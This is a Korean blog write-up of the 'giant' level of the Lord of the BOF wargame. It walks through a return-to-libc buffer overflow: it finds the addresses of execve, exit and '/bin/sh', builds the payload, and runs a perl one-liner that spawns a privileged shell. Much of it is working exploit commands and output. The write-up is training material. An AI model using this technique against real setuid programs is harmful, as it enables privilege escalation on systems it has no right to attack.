소스를 보면
[bugbear@localhost bugbear]$ cat giant.c
/*
The Lord of the BOF : The Fellowship of the BOF
- giant
- RTL2
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(int argc, char *argv[])
{
char buffer[40];
FILE *fp;
char *lib_addr, *execve_offset, *execve_addr;
char *ret;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// gain address of execve
fp = popen("/usr/bin/ldd /home/giant/assassin | /bin/grep libc | /bin/awk '{print $4}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "(%x)", &lib_addr);
fclose(fp);
fp = popen("/usr/bin/nm /lib/libc.so.6 | /bin/grep __execve | /bin/awk '{print $1}'", "r");
fgets(buffer, 255, fp);
sscanf(buffer, "%x", &execve_offset);
fclose(fp);
execve_addr = lib_addr + (int)execve_offset;
// end
memcpy(&ret, &(argv[1][44]), 4);
if(ret != execve_addr)
{
printf("You must use execve!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
execv() 함수를 사용해야합니다
이 소스에 사용된 함수들의 프로토타입들은 각각 다음과 같습니다
<<execve() 프로토타입>>
#include
int execve (const char *filename, char *const argv [], char *const envp[]);
lename이 가리키는 파일을 실행한다. filename은 바이너리 실행 파일이거나 #! interpreter [arg]와 같은 라인으로 시작하는 스크립트 파일이어야 한다.
후자의 경우, interpreter는 interpreter [arg] filename와 같은 형태로 수행이 가능한 (스크립트가 아닌) 바이너리 실행 파일이어야 한다.
argv는 새로이 실행할 프로그램에 전달하는 인수 문자열의 배열이다.
envp는 보통 key=value과 같은 형태의 문자열 배열이며 환경 변수를 설정해놓은 것처럼 전달된다.
argv와 envp는 모두 NULL 포인터로 끝나야만 한다. 실행할 프로그램을 int main(int argc, char *argv[], char *envp[])와 같이 정의하면 인수 문자열 배열과 환경 변수를 main () 함수에서 사용할 수 있게 된다.
<<popen() 프로토타입>>
#include <stdio.h>
FILE *popen(const char *command, const char *type);
int pclose();
popen 은 command 를 shell(:12)을 가동시켜서 열고 pipe(2)로 연결한다.
pipe 는 기본적으로 단방향으로만 정의 되어 있음으로, 읽기전용 혹은 쓰기전용 으로만 열수 있으며, type 로 정의된다.
popen 은 command 를 실행시키고 pip 연결을 위해서 내부적으로 fork() 와 pipe() 를 사용한다.
command 는 실행쉘인 /bin/sh 에 -c 옵션을 사용하여서 전달되게 된다.
pclose(2) 함수는 종료되는 관련 프로세스를 기다리며 wait(2) 가 반환하는 것처럼 명령어의 종료 상태를 반환한다.
>popen 함수는 메모리 할당이 실패한다면, errno 를 설정하지 않는다. fork()나 pipe()에서 실패했을경우 적당한 errno 를 설정한다.
pclose()는 자식의 상태를 얻을수 없을경우 errno 를 ECHILD 로 설정한다.
<<sscanf() 프로토 타입>>
#include <stdio.h> // C++ 에서는 <cstdio>
int sscanf ( const char * str, const char * format, ...);
str 에서 데이터를 형식 문자열(format)에서 지정하는 바에 따라 읽어와 그 데이터를 뒤에 부수적인 인자들이 가리키는 메모리 공간에 저장하게 된다.
이 때, 데이터가 저장되는 방식 역시 형식 문자열에 의해 결정된다
&system, &execve, &exit 을 각각 구해주고
[bugbear@localhost bugbear]$ cp giant /tmp/giant
[bugbear@localhost bugbear]$ cd /tmp
[bugbear@localhost /tmp]$ gdb -q giant
(gdb) b main
Breakpoint 1 at 0x8048566
(gdb) r
Starting program: /tmp/giant
(gdb) p exit
$1 = {void (int)} 0x400391e0 <exit>
(gdb) p system
$2 = {<text variable, no debug info>} 0x40058ae0 <__libc_system>
(gdb) p execve
$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>
그리고 나서 &/bin/sh 을 구해줍니다
#include <stdio.h>
#include <memory.h>
int main(void)
{
long shell;
shell = 0x40058ae0;
while( memcmp( (void *)shell, "/bin/sh", 8) )
shell++;
printf("%s is at %p\n", shell, shell);
return 0;
}
[bugbear@localhost /tmp]$ gcc -o s s.c
[bugbear@localhost /tmp]$ ./s
/bin/sh is at 0x400fbff9
execve에서 필요한건 이제 널주소와 /bin/sh이 들어간 부분의 주소입니다 이부분을 찾아주는데서
조금 애를 먹엇습니다
+)
[bugbear@localhost bugbear]$ ldd /home/bugbear/giant | grep libc | awk '{print $4}'
(0x40018000)
[bugbear@localhost bugbear]$ /usr/bin/nm /lib/libc.so.6|grep execve
000f4860 ? __evoke_link_warning_fexecve
00091d48 t __execve
00091d48 W execve
00091da0 T fexecve
sum : 400a9d48
~>똑같음
~> 디버깅해서 나오는 execve주소와 소스에서 나오는 대로 두인자를 구해서 더해보면 서로 같다라는것을 알수 있습니다 (라이브러리주소는 모두 같기 때문이죠)
중간 정리를 해보면 ,
[페이로드]
/bin/sh 심볼릭링크 | NOP 44 | &execve() | &exit() | &/bin/sh |&/bin/sh의 포인터|&NULL
$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>
$1 = {void (int)} 0x400391e0 <exit>
&/bin/sh : 0x400fbff9
&NULL : 0xbffffffc (스택의 끝부분엔 항상 널이들어가게되서 그부분에서 따왓습니다)
이제 &/bin/sh의 포인터 하나만 더구해주면 됩니다.
execve에서 필요한게 /bin/sh의 포인터주소이기 때문에, 이를 구해주기 위해서 argv[0] 부분에 &/bin/sh을 심
볼릭링크 걸어주고 디버깅하여 구합니다
(gdb) x/10s 0xbfffffe0
0xbfffffe0: "bear/bin"
0xbfffffe9: "/home/bugbear/ù¿\017@"
0xbffffffc: ""
0xbffffffd: ""
0xbffffffe: ""
0xbfffffff: ""
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
0xc0000000: <Address 0xc0000000 out of bounds>
굵은 부분으로 표시한부분으로 나오긴햇습니다만 이부분이 절대경로 라서 사용을 할수가없습니다
따라서 다시계산해줍니다
(gdb) print/x 0xbfffffe9+strlen("/home/bugbear/")
$1 = 0xbffffff7
이제 다 구햇네요 페이로드를 재작성해보면
[페이로드]
/bin/sh 심볼릭링크 | NOP 44 | &execve() | &exit() | &/bin/sh |&/bin/sh의 포인터|&NULL
$3 = {<text variable, no debug info>} 0x400a9d48 <__execve>
$1 = {void (int)} 0x400391e0 <exit>
&/bin/sh : 0x400fbff9
&/bin/sh의 포인터 : $1 = 0xbffffff7
&NULL : 0xbffffffc (스택의 끝부분엔 항상 널이들어가게되서 그부분에서 따왓습니다)
[bugbear@localhost bugbear]$ `python -c 'print "./"+"\xf9\xbf\x0f\x40"'` "`perl -e 'print "\x90"x44,"\x48\x9d\x0a\x40","\xe0\x91\x03\x40","\xf9\xbf\x0f\x40","\xf7\xff\xff\xbf","\xfc\xff\xff\xbf"'`"
H
@à@ù¿@÷ÿÿ¿üÿÿ¿
bash$ my-pass
euid = 514
one step closer
bash$
쉘이 따엿습니다
+) 커맨드 파이썬으로 바꾸겟다고 맘먹고도 자꾸 펄써가지고 ㅡㅡ ;미치겟네요 언젠간 완벽하게 바뀌겟지요..
'과거의 컴퓨터 공부 > LOB(完)' 카테고리의 다른 글
(LOB)level16.assassin (0) | 2014.08.25 |
---|---|
(LOB)level15.giant (0) | 2014.08.22 |
(LOB)level13.darkknight (0) | 2014.08.19 |
(LOB)level12.golem (0) | 2014.08.19 |
(LOB)Level11.skeleton (0) | 2014.08.16 |